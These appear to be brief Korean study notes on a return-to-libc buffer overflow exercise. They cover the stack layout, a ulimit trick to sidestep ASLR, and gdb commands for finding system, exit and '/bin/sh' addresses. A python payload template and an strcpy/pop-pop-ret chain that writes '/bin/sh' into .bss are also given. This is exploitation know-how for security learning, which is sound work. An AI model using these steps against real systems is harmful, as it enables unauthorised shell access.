system 1일차

buf[248] + sfp[4] + ret


ulimit -s unlimited //스택크기를 무한정으로 늘려 ASLR이 적용안됨

system,execve - ebp+8위치에있는것을 인자로받음


buf[248] + sfp [4] + 조작(system) + AAAA + /bin/sh
 - system("/bin/sh")



b main
r 1

p system - system주소 구하기
p exit - exit구하기
find &system,+9999999,"/bin/sh" - /bin/sh주소 구하기

./filename $(python -c 'print "A"*버퍼+sfp + system + exit + /bin/sh

strcpy(bss,\x80asda)
strcpy(bss,"b")

./filename buf+sfp + strcpy + poppopret + bss + / + strcpy + poppopret + bss + b
\x00... + system + AAAA + bss1